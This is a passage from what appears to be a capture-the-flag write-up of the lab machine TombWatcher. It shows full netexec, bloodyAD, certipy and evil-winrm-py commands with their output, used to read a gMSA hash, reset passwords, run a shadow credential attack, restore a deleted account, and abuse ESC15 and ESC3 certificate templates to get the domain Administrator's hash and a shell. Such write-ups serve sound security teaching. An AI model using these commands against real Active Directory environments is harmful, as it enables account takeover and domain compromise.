oxdf@hacky$ netexec ldap dc01.tombwatcher.htb -u alfred -p basketball --gmsa
LDAP 10.10.11.72 389 DC01 Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:tombwatcher.htb) (signing:None) (channel binding:Never)
LDAP 10.10.11.72 389 DC01 [+] tombwatcher.htb\alfred:basketball
LDAP 10.10.11.72 389 DC01 Getting GMSA Passwords
LDAP 10.10.11.72 389 DC01 Account: ansible_dev$ NTLM: 1c37d00093dc2a5f25176bf2d474afdc PrincipalsAllowedToReadPassword: Infrastructure
Or bloodyAD
:
oxdf@hacky$ bloodyAD -d tombwatcher.htb -u alfred -p basketball --host dc01.tombwatcher.htb get object 'ANSIBLE_DEV$' --attr msDS-ManagedPassword
distinguishedName: CN=ansible_dev,CN=Managed Service Accounts,DC=tombwatcher,DC=htb
msDS-ManagedPassword.NTLM: aad3b435b51404eeaad3b435b51404ee:1c37d00093dc2a5f25176bf2d474afdc
msDS-ManagedPassword.B64ENCODED: IIwfpSnxGqOGf+d99xuIBTCl3yqtm6fvywv4pBqe5PN9jsYcLAWn3x1doYf9ZzjBXGB3XoRzPFNwtajDOG304xGmN2CJ4G+5QsLACGGVvu3ZoG4aosUdfpEGuWyYqSyKggtxHtssw1lWLbrZayfWqascdDtBvuaszTpJgmDnLykE6QP+BmmngEkfETLuZ+hH0pP896TujqasQXFyOBkqwVtvXe1Lx9szud4//XTPoejE0KBihHGhzmbQ8pGH9QR9zl21XsohXJA2dd9QAUwgGpCssBhbOPtAalPoaOYDlBE4wrFZNnrYpADsIeYVO/HmXVnGO1e/9XRjcSCEZaHvTw==
Validate NTLM
netexec
validates that the hash works:
oxdf@hacky$ netexec smb DC01.tombwatcher.htb -u 'ANSIBLE_DEV$' -H 1c37d00093dc2a5f25176bf2d474afdc
SMB 10.10.11.72 445 DC01 Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:tombwatcher.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.72 445 DC01 [+] tombwatcher.htb\ANSIBLE_DEV$:1c37d00093dc2a5f25176bf2d474afdc
Auth as Sam
Enumeration
ANSIBLE_DEV$ has ForceChangePassword
over Sam:

Exploit
I’ll use bloodyAD
to set a new password:
oxdf@hacky$ bloodyAD -d tombwatcher.htb -u 'ANSIBLE_DEV$' -p ':1c37d00093dc2a5f25176bf2d474afdc' --host dc01.tombwatcher.htb set password "sam" "0xdf0xdf!"
[+] Password changed successfully!
It works:
oxdf@hacky$ netexec smb DC01.tombwatcher.htb -u sam -p '0xdf0xdf!'
SMB 10.10.11.72 445 DC01 Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:tombwatcher.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.72 445 DC01 [+] tombwatcher.htb\sam:0xdf0xdf!
Shell as John
Enumeration
The final step in this Bloodhound path is Sam’s WriteOwner
privilege over John:

With WriteOwner
, I can set Sam as the owner of the John account. As owner, Sam can give themself genericAll
over John. From there, Sam can either set John’s password, get a shadow credential, or targeted Kerberoast.
Exploit via Shadow Credential
I’ll start by setting the owner of John to Sam with bloodyAD
:
oxdf@hacky$ bloodyAD -d tombwatcher.htb -u sam -p '0xdf0xdf!' --host dc01.tombwatcher.htb set owner john sam
[+] Old owner S-1-5-21-1392491010-1358638721-2126982587-512 is now replaced by sam on john
Next I’ll give Sam GenericAll
over John:
oxdf@hacky$ bloodyAD -d tombwatcher.htb -u sam -p '0xdf0xdf!' --host dc01.tombwatcher.htb add genericAll john sam
[+] sam has now GenericAll on john
Now certipy
will do the shadow credential attack:
oxdf@hacky$ certipy shadow auto -target dc01.tombwatcher.htb -u sam -p '0xdf0xdf!' -account john
Certipy v5.0.2 - by Oliver Lyak (ly4k)
[*] Targeting user 'john'
[*] Generating certificate
[*] Certificate generated
[*] Generating Key Credential
[*] Key Credential generated with DeviceID '85478516-51f1-8a2a-d131-7b39d4de77d0'
[*] Adding Key Credential with device ID '85478516-51f1-8a2a-d131-7b39d4de77d0' to the Key Credentials for 'john'
[*] Successfully added Key Credential with device ID '85478516-51f1-8a2a-d131-7b39d4de77d0' to the Key Credentials for 'john'
[*] Authenticating as 'john' with the certificate
[*] Certificate identities:
[*] No identities found in this certificate
[*] Using principal: 'john@tombwatcher.htb'
[*] Trying to get TGT...
[*] Got TGT
[*] Saving credential cache to 'john.ccache'
[*] Wrote credential cache to 'john.ccache'
[*] Trying to retrieve NT hash for 'john'
[*] Restoring the old Key Credentials for 'john'
[*] Successfully restored the old Key Credentials for 'john'
[*] NT hash for 'john': ad9324754583e3e42b55aad4d3b8d2bf
Shell
Verify
The leaked NTLM works for John:
oxdf@hacky$ netexec smb dc01.tombwatcher.htb -u john -H ad9324754583e3e42b55aad4d3b8d2bf
SMB 10.10.11.72 445 DC01 Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:tombwatcher.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.72 445 DC01 [+] tombwatcher.htb\john:ad9324754583e3e42b55aad4d3b8d2bf
And John can WinRM:
oxdf@hacky$ netexec winrm dc01.tombwatcher.htb -u john -H ad9324754583e3e42b55aad4d3b8d2bf
WINRM 10.10.11.72 5985 DC01 Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:tombwatcher.htb)
WINRM 10.10.11.72 5985 DC01 [+] tombwatcher.htb\john:ad9324754583e3e42b55aad4d3b8d2bf (Pwn3d!)
This is in the Bloodhound data as well:

Evil-WinRM-Py
I’ll get a shell using evil-winrm-py
:
oxdf@hacky$ evil-winrm-py -i dc01.tombwatcher.htb -u john -H ad9324754583e3e42b55aad4d3b8d2bf
▘▜ ▘
█▌▌▌▌▐ ▄▖▌▌▌▌▛▌▛▘▛▛▌▄▖▛▌▌▌
▙▖▚▘▌▐▖ ▚▚▘▌▌▌▌ ▌▌▌ ▙▌▙▌
▌ ▄▌ v1.0.0
[*] Connecting to dc01.tombwatcher.htb:5985 as john
evil-winrm-py PS C:\Users\john\Documents>
And grab the user flag:
evil-winrm-py PS C:\Users\john\desktop> cat user.txt
bc7fc5d3************************
Auth as cert_admin
Enumeration
Filesystem
The John user’s home directory is very empty other than user.txt
.
There are no other interesting users with home directories other than Administrator:
evil-winrm-py PS C:\Users> ls
Directory: C:\Users
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 11/15/2024 7:57 PM .NET v4.5
d----- 11/15/2024 7:57 PM .NET v4.5 Classic
d----- 12/11/2024 5:38 PM Administrator
d----- 12/11/2024 6:42 PM john
d-r--- 11/15/2024 6:52 PM Public
The filesystem root isn’t very interesting either:
evil-winrm-py PS C:\> ls
Directory: C:\
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 11/15/2024 7:57 PM inetpub
d----- 6/4/2025 4:25 PM PerfLogs
d-r--- 11/15/2024 6:53 PM Program Files
d----- 12/11/2024 6:39 PM Program Files (x86)
d-r--- 12/11/2024 6:42 PM Users
d----- 6/4/2025 5:13 PM Windows
The web directory is empty:
evil-winrm-py PS C:\inetpub\wwwroot> ls
Directory: C:\inetpub\wwwroot
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 11/15/2024 7:57 PM aspnet_client
-a---- 11/15/2024 7:57 PM 703 iisstart.htm
-a---- 11/15/2024 7:57 PM 99710 iisstart.png
BloodHound
John has GenericAll
over the ADCS OU (organizational unit):

This will give me the ability to take full control over the OU, but it’s not clear why I need that at this point.
ADCS
At each compromised user, I can look at the enrollment rights of that user with respect to ADCS. I can also look in Bloodhound (because of the Rusthound collection) and see this. None of the users or groups compromised so far have any special configuration as far as ADCS. The Domain Users group allows for enrollment in four templates:

Domain Computers (of which ANSIBLE_DEV$ is a member) provides access to three different templates:

Still, none of these templates show any vulnerabilities in Bloodhound, and certipy
won’t find any either. I’ll still collect data to see if there’s anything interesting that jumps out:
oxdf@hacky$ certipy find -target dc01.tombwatcher.htb -u john -hashes :ad9324754583e3e42b55aad4d3b8d2bf
Certipy v5.0.2 - by Oliver Lyak (ly4k)
[*] Finding certificate templates
[*] Found 33 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 11 enabled certificate templates
[*] Finding issuance policies
[*] Found 13 issuance policies
[*] Found 0 OIDs linked to templates
[*] Retrieving CA configuration for 'tombwatcher-CA-1' via RRP
[!] Failed to connect to remote registry. Service should be starting now. Trying again...
[*] Successfully retrieved CA configuration for 'tombwatcher-CA-1'
[*] Checking web enrollment for CA 'tombwatcher-CA-1' @ 'DC01.tombwatcher.htb'
[!] Error checking web enrollment: timed out
[!] Use -debug to print a stacktrace
[!] Failed to lookup object with SID 'S-1-5-21-1392491010-1358638721-2126982587-1111'
[*] Saving text output to '20250612160945_Certipy.txt'
[*] Wrote text output to '20250612160945_Certipy.txt'
[*] Saving JSON output to '20250612160945_Certipy.json'
[*] Wrote JSON output to '20250612160945_Certipy.json'
There’s a single CA named tombwatcher-CA-1
, with 11 templates.
The Machine template is potentially interesting:
19
Template Name : Machine
Display Name : Computer
Certificate Authorities : tombwatcher-CA-1
Enabled : True
Client Authentication : True
Enrollment Agent : False
Any Purpose : False
Enrollee Supplies Subject : False
Certificate Name Flag : SubjectAltRequireDns
SubjectRequireDnsAsCn
Enrollment Flag : AutoEnrollment
Extended Key Usage : Client Authentication
Server Authentication
Requires Manager Approval : False
Requires Key Archival : False
Authorized Signatures Required : 0
Schema Version : 1
Validity Period : 1 year
Renewal Period : 6 weeks
Minimum RSA Key Length : 2048
Template Created : 2024-11-16T00:57:49+00:00
Template Last Modified : 2024-11-16T00:57:49+00:00
Permissions
Enrollment Permissions
Enrollment Rights : TOMBWATCHER.HTB\Domain Admins
TOMBWATCHER.HTB\Domain Computers
TOMBWATCHER.HTB\Enterprise Admins
Object Control Permissions
Owner : TOMBWATCHER.HTB\Enterprise Admins
Full Control Principals : TOMBWATCHER.HTB\Domain Admins
TOMBWATCHER.HTB\Enterprise Admins
Write Owner Principals : TOMBWATCHER.HTB\Domain Admins
TOMBWATCHER.HTB\Enterprise Admins
Write Dacl Principals : TOMBWATCHER.HTB\Domain Admins
TOMBWATCHER.HTB\Enterprise Admins
Write Property Enroll : TOMBWATCHER.HTB\Domain Admins
TOMBWATCHER.HTB\Domain Computers
TOMBWATCHER.HTB\Enterprise Admins
[+] User Enrollable Principals : TOMBWATCHER.HTB\Domain Computers
[*] Remarks
ESC2 Target Template : Template can be targeted as part of ESC2 exploitation. This is not a vulnerability by itself. See the wiki for more details. Template has schema version 1.
ESC3 Target Template : Template can be targeted as part of ESC3 exploitation. This is not a vulnerability by itself. See the wiki for more details. Template has schema version 1.
I have enrollment access having compromised ANSIBLE_DEV$ which is in the Domain Computers group. certipy
calls out that this could be used in ESC2 and ESC3 attacks, but not on it’s own. The User template has the same remarks, and I have access via Domain Users.
The other thing that jumps out as interesting is the WebServer template:
17
Template Name : WebServer
Display Name : Web Server
Certificate Authorities : tombwatcher-CA-1
Enabled : True
Client Authentication : False
Enrollment Agent : False
Any Purpose : False
Enrollee Supplies Subject : True
Certificate Name Flag : EnrolleeSuppliesSubject
Extended Key Usage : Server Authentication
Requires Manager Approval : False
Requires Key Archival : False
Authorized Signatures Required : 0
Schema Version : 1
Validity Period : 2 years
Renewal Period : 6 weeks
Minimum RSA Key Length : 2048
Template Created : 2024-11-16T00:57:49+00:00
Template Last Modified : 2024-11-16T17:07:26+00:00
Permissions
Enrollment Permissions
Enrollment Rights : TOMBWATCHER.HTB\Domain Admins
TOMBWATCHER.HTB\Enterprise Admins
S-1-5-21-1392491010-1358638721-2126982587-1111
Object Control Permissions
Owner : TOMBWATCHER.HTB\Enterprise Admins
Full Control Principals : TOMBWATCHER.HTB\Domain Admins
TOMBWATCHER.HTB\Enterprise Admins
Write Owner Principals : TOMBWATCHER.HTB\Domain Admins
TOMBWATCHER.HTB\Enterprise Admins
Write Dacl Principals : TOMBWATCHER.HTB\Domain Admins
TOMBWATCHER.HTB\Enterprise Admins
Write Property Enroll : TOMBWATCHER.HTB\Domain Admins
TOMBWATCHER.HTB\Enterprise Admins
S-1-5-21-1392491010-1358638721-2126982587-1111
It is odd that one of the object is shown by it’s SID and not by name. This implies that certipy
wasn’t able to resolve the user’s information.
User 1111
This user is in the Bloodhound data, which shows the enrollment via Outbound Control:

The information on this object is very thin:

Looking at the timestamp and the fact that I ran RustHound-CE before BloodHound-Python, it looks like the Python collector missed this entirely.
If I try to get information on the host about the SID, it also fails:
evil-winrm-py PS C:\> Get-ADObject -Identity "S-1-5-21-1392491010-1358638721-2126982587-1111"
Cannot find an object with identity: 'S-1-5-21-1392491010-1358638721-2126982587-1111' under: 'DC=tombwatcher,DC=htb'.
This suggests the object may have been deleted.
AD Recycle Bin
Find Deleted Account
The AD Recycle Bin feature I covered back in 2020 in Cascade. It allows admins to recover deleted AD objects. It is installed and active on TombWatcher:
evil-winrm-py PS C:\> Get-ADOptionalFeature 'Recycle Bin Feature'
DistinguishedName : CN=Recycle Bin Feature,CN=Optional Features,CN=Directory Service,CN=Windows
NT,CN=Services,CN=Configuration,DC=tombwatcher,DC=htb
EnabledScopes : {CN=Partitions,CN=Configuration,DC=tombwatcher,DC=htb, CN=NTDS Settings,CN=DC01,CN=Servers,CN=Defau
lt-First-Site-Name,CN=Sites,CN=Configuration,DC=tombwatcher,DC=htb}
FeatureGUID : 766ddcd8-acd0-445e-f3b9-a7f9b6744f2a
FeatureScope : {ForestOrConfigurationSet}
IsDisableable : False
Name : Recycle Bin Feature
ObjectClass : msDS-OptionalFeature
ObjectGUID : 907469ef-52c5-41ab-ad19-5fdec9e45082
RequiredDomainMode :
RequiredForestMode : Windows2008R2Forest
I’ll use the same command I used in Cascade to list deleted items, adding -property
to see some extra data that will be useful in a bit:
evil-winrm-py PS C:\> Get-ADObject -filter 'isDeleted -eq $true -and name -ne "Deleted Objects"' -includeDeletedObjects -property objectSid,lastKnownParent
Deleted : True
DistinguishedName : CN=cert_admin\0ADEL:f80369c8-96a2-4a7f-a56c-9c15edd7d1e3,CN=Deleted Objects,DC=tombwatcher,DC=htb
LastKnownParent : OU=ADCS,DC=tombwatcher,DC=htb
Name : cert_admin
DEL:f80369c8-96a2-4a7f-a56c-9c15edd7d1e3
ObjectClass : user
ObjectGUID : f80369c8-96a2-4a7f-a56c-9c15edd7d1e3
objectSid : S-1-5-21-1392491010-1358638721-2126982587-1109
Deleted : True
DistinguishedName : CN=cert_admin\0ADEL:c1f1f0fe-df9c-494c-bf05-0679e181b358,CN=Deleted Objects,DC=tombwatcher,DC=htb
LastKnownParent : OU=ADCS,DC=tombwatcher,DC=htb
Name : cert_admin
DEL:c1f1f0fe-df9c-494c-bf05-0679e181b358
ObjectClass : user
ObjectGUID : c1f1f0fe-df9c-494c-bf05-0679e181b358
objectSid : S-1-5-21-1392491010-1358638721-2126982587-1110
Deleted : True
DistinguishedName : CN=cert_admin\0ADEL:938182c3-bf0b-410a-9aaa-45c8e1a02ebf,CN=Deleted Objects,DC=tombwatcher,DC=htb
LastKnownParent : OU=ADCS,DC=tombwatcher,DC=htb
Name : cert_admin
DEL:938182c3-bf0b-410a-9aaa-45c8e1a02ebf
ObjectClass : user
ObjectGUID : 938182c3-bf0b-410a-9aaa-45c8e1a02ebf
objectSid : S-1-5-21-1392491010-1358638721-2126982587-1111
It’s not totally clear to me why it shows up there times, but there’s a user named cert_admin. And the last one has the RID 1111. The lastKnownParent
attribute is added to Recycle Bin objects, and it shows it was in the ADCS OU.
Recover cert_admin
Because John has GenericAll
over ADCS, and ADCS is cert_admin’s lastKnownParent
, John should be able to resurrect this account. I’ll need to get the ObjectGUID
for the specific instance of cert_admin that has the 1111
RID.
evil-winrm-py PS C:\> Restore-ADObject -Identity 938182c3-bf0b-410a-9aaa-45c8e1a02ebf
evil-winrm-py PS C:\> Get-ADUser cert_admin
DistinguishedName : CN=cert_admin,OU=ADCS,DC=tombwatcher,DC=htb
Enabled : True
GivenName : cert_admin
Name : cert_admin
ObjectClass : user
ObjectGUID : 938182c3-bf0b-410a-9aaa-45c8e1a02ebf
SamAccountName : cert_admin
SID : S-1-5-21-1392491010-1358638721-2126982587-1111
Surname : cert_admin
UserPrincipalName :
It worked.
Reset Password
With GenericAll
over the entire OU, John can compromise the cert_admin account many ways. Given that the account was deleted, it seems safe to just change the password:
evil-winrm-py PS C:\> Set-ADAccountPassword cert_admin -NewPassword (ConvertTo-SecureString '0xdf0xdf!' -AsPlainText -Force)
It worked:
oxdf@hacky$ netexec smb dc01.tombwatcher.htb -u cert_admin -p '0xdf0xdf!'
SMB 10.10.11.72 445 DC01 Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:tombwatcher.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.72 445 DC01 [+] tombwatcher.htb\cert_admin:0xdf0xdf!
Shell as Administrator
Enumeration
As cert_admin, I’ll re-run certipy
to look for vulnerable templates:
oxdf@hacky$ certipy find -target dc01.tombwatcher.htb -u cert_admin -p '0xdf0xdf!' -vulnerable -stdout
Certipy v5.0.2 - by Oliver Lyak (ly4k)
[*] Finding certificate templates
[*] Found 33 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 11 enabled certificate templates
[*] Finding issuance policies
[*] Found 13 issuance policies
[*] Found 0 OIDs linked to templates
[*] Retrieving CA configuration for 'tombwatcher-CA-1' via RRP
[!] Failed to connect to remote registry. Service should be starting now. Trying again...
[*] Successfully retrieved CA configuration for 'tombwatcher-CA-1'
[*] Checking web enrollment for CA 'tombwatcher-CA-1' @ 'DC01.tombwatcher.htb'
[!] Error checking web enrollment: timed out
[!] Use -debug to print a stacktrace
[*] Enumeration output:
Certificate Authorities
0
CA Name : tombwatcher-CA-1
DNS Name : DC01.tombwatcher.htb
Certificate Subject : CN=tombwatcher-CA-1, DC=tombwatcher, DC=htb
Certificate Serial Number : 3428A7FC52C310B2460F8440AA8327AC
Certificate Validity Start : 2024-11-16 00:47:48+00:00
Certificate Validity End : 2123-11-16 00:57:48+00:00
Web Enrollment
HTTP
Enabled : False
HTTPS
Enabled : False
User Specified SAN : Disabled
Request Disposition : Issue
Enforce Encryption for Requests : Enabled
Active Policy : CertificateAuthority_MicrosoftDefault.Policy
Permissions
Owner : TOMBWATCHER.HTB\Administrators
Access Rights
ManageCa : TOMBWATCHER.HTB\Administrators
TOMBWATCHER.HTB\Domain Admins
TOMBWATCHER.HTB\Enterprise Admins
ManageCertificates : TOMBWATCHER.HTB\Administrators
TOMBWATCHER.HTB\Domain Admins
TOMBWATCHER.HTB\Enterprise Admins
Enroll : TOMBWATCHER.HTB\Authenticated Users
Certificate Templates
0
Template Name : WebServer
Display Name : Web Server
Certificate Authorities : tombwatcher-CA-1
Enabled : True
Client Authentication : False
Enrollment Agent : False
Any Purpose : False
Enrollee Supplies Subject : True
Certificate Name Flag : EnrolleeSuppliesSubject
Extended Key Usage : Server Authentication
Requires Manager Approval : False
Requires Key Archival : False
Authorized Signatures Required : 0
Schema Version : 1
Validity Period : 2 years
Renewal Period : 6 weeks
Minimum RSA Key Length : 2048
Template Created : 2024-11-16T00:57:49+00:00
Template Last Modified : 2024-11-16T17:07:26+00:00
Permissions
Enrollment Permissions
Enrollment Rights : TOMBWATCHER.HTB\Domain Admins
TOMBWATCHER.HTB\Enterprise Admins
TOMBWATCHER.HTB\cert_admin
Object Control Permissions
Owner : TOMBWATCHER.HTB\Enterprise Admins
Full Control Principals : TOMBWATCHER.HTB\Domain Admins
TOMBWATCHER.HTB\Enterprise Admins
Write Owner Principals : TOMBWATCHER.HTB\Domain Admins
TOMBWATCHER.HTB\Enterprise Admins
Write Dacl Principals : TOMBWATCHER.HTB\Domain Admins
TOMBWATCHER.HTB\Enterprise Admins
Write Property Enroll : TOMBWATCHER.HTB\Domain Admins
TOMBWATCHER.HTB\Enterprise Admins
TOMBWATCHER.HTB\cert_admin
[+] User Enrollable Principals : TOMBWATCHER.HTB\cert_admin
[!] Vulnerabilities
ESC15 : Enrollee supplies subject and schema version is 1.
[*] Remarks
ESC15 : Only applicable if the environment has not been patched. See CVE-2024-49019 or the wiki for more details.
Unsurprisingly, it now shows the username correctly, and there’s a vulnerability to ESC15.
ESC15
Background
The Certipy Wiki describes ESC15 as:
ESC15, also known by the community name “EKUwu” (research by Justin Bollinger from TrustedSec) and tracked as CVE-2024-49019, describes a vulnerability affecting unpatched CAs. It allows an attacker to inject arbitrary Application Policies into a certificate issued from a Version 1 (Schema V1) certificate template. If the CA has not been updated with the relevant security patches (Nov 2024), it will incorrectly include these attacker-supplied Application Policies in the issued certificate. This occurs even if these policies are not defined in, or are inconsistent with, the template’s intended Extended Key Usages (EKUs), thereby granting the certificate unintended capabilities.
The key indicators are:
- Enrollee Supplies Subject is True
- Schema Version is 1
- Not patched for CVE-2024-49019
There are two scenarios for exploitation shown on the wiki.
Exploit Scenario A [Fail]
I’ll use the req
feature to request a certificate as the administrator injecting that this certificate can be used for client authentication (even though the template says it is not):
oxdf@hacky$ certipy req -u cert_admin -p '0xdf0xdf!' -dc-ip 10.10.11.72 -target dc01.tombwatcher.htb -ca tombwatcher-CA-1 -template WebServer -upn administrator@tombwatcher.htb -application-policies 'Client Authentication'
Certipy v5.0.2 - by Oliver Lyak (ly4k)
[*] Requesting certificate via RPC
[*] Request ID is 4
[*] Successfully requested certificate
[*] Got certificate with UPN 'administrator@tombwatcher.htb'
[*] Certificate has no object SID
[*] Try using -sid to set the object SID or see the wiki for more details
[*] Saving certificate and private key to 'administrator.pfx'
[*] Wrote certificate and private key to 'administrator.pfx'
If I try to authenticate with this PFX, it fails:
oxdf@hacky$ certipy auth -pfx administrator.pfx -dc-ip 10.10.11.72
Certipy v5.0.2 - by Oliver Lyak (ly4k)
[*] Certificate identities:
[*] SAN UPN: 'administrator@tombwatcher.htb'
[*] Using principal: 'administrator@tombwatcher.htb'
[*] Trying to get TGT...
[-] Certificate is not valid for client authentication
[-] Check the certificate template and ensure it has the correct EKU(s)
[-] If you recently changed the certificate template, wait a few minutes for the change to propagate
[-] See the wiki for more information
There’s an EKU error here, which is because I’m using the certificate in an unintended way. Still, this certificate can work over LDAP. Now I try to use it to get an LDAP shell over Schannel, but it fails:
oxdf@hacky$ certipy auth -pfx administrator.pfx -dc-ip 10.10.11.72 -ldap-shell
Certipy v5.0.2 - by Oliver Lyak (ly4k)
[*] Certificate identities:
[*] SAN UPN: 'administrator@tombwatcher.htb'
[*] Connecting to 'ldaps://10.10.11.72:636'
[-] Failed to connect to LDAP server: ("('socket ssl wrapping error: [SSL: CA_MD_TOO_WEAK] ca md too weak (_ssl.c:3895)',)",)
[-] Use -debug to print a stacktrace
The error is about the SSL being too weak. I believe I could downgrade the SSL on my host to continue here, but I’ll focus on scenario B.
Exploit Scenario B
This time instead of giving the resulting certificate the ability to authenticate, I’ll give it the agent property:
oxdf@hacky$ certipy req -u cert_admin -p '0xdf0xdf!' -dc-ip 10.10.11.72 -target dc01.tombwatcher.htb -ca tombwatcher-CA-1 -template WebServer -upn administrator@tombwatcher.htb -application-policies 'Certificate Request Agent'
Certipy v5.0.2 - by Oliver Lyak (ly4k)
[*] Requesting certificate via RPC
[*] Request ID is 5
[*] Successfully requested certificate
[*] Got certificate with UPN 'administrator@tombwatcher.htb'
[*] Certificate has no object SID
[*] Try using -sid to set the object SID or see the wiki for more details
[*] Saving certificate and private key to 'administrator.pfx'
File 'administrator.pfx' already exists. Overwrite? (y/n - saying no will save with a unique filename): y
[*] Wrote certificate and private key to 'administrator.pfx'
At this point, I can basically complete the ESC3 attack (like in Certificate). I’ll use that PFX to request a ticket as Administrator for a template that is meant for user login:
oxdf@hacky$ certipy req -u cert_admin -p '0xdf0xdf!' -dc-ip 10.10.11.72 -target dc01.tombwatcher.htb -ca tombwatcher-CA-1 -template User -pfx cert_admin.pfx -on-behalf-of 'tombwatcher\Administrator'
Certipy v5.0.2 - by Oliver Lyak (ly4k)
[*] Requesting certificate via RPC
[*] Request ID is 8
[*] Successfully requested certificate
[*] Got certificate with UPN 'Administrator@tombwatcher.htb'
[*] Certificate object SID is 'S-1-5-21-1392491010-1358638721-2126982587-500'
[*] Saving certificate and private key to 'administrator.pfx'
File 'administrator.pfx' already exists. Overwrite? (y/n - saying no will save with a unique filename): y
[*] Wrote certificate and private key to 'administrator.pfx'
Now I can just auth
with it:
oxdf@hacky$ certipy auth -pfx administrator.pfx -dc-ip 10.10.11.72
Certipy v5.0.2 - by Oliver Lyak (ly4k)
[*] Certificate identities:
[*] SAN UPN: 'Administrator@tombwatcher.htb'
[*] Security Extension SID: 'S-1-5-21-1392491010-1358638721-2126982587-500'
[*] Using principal: 'administrator@tombwatcher.htb'
[*] Trying to get TGT...
[*] Got TGT
[*] Saving credential cache to 'administrator.ccache'
[*] Wrote credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[*] Got hash for 'administrator@tombwatcher.htb': aad3b435b51404eeaad3b435b51404ee:f61db423bebe3328d33af26741afe5fc
This returns both a TGT and the NTLM hash for the administrator account.
WinRM
I’ll use the hash to get a shell:
oxdf@hacky$ evil-winrm-py -i dc01.tombwatcher.htb -u administrator -H f61db423bebe3328d33af26741afe5fc
▘▜ ▘
█▌▌▌▌▐ ▄▖▌▌▌▌▛▌▛▘▛▛▌▄▖▛▌▌▌
▙▖▚▘▌▐▖ ▚▚▘▌▌▌▌ ▌▌▌ ▙▌▙▌
▌ ▄▌ v1.0.0
[*] Connecting to dc01.tombwatcher.htb:5985 as administrator
evil-winrm-py PS C:\Users\Administrator\Documents>
And root.txt
:
evil-winrm-py PS C:\Users\Administrator\Desktop> cat root.txt
58c9e767************************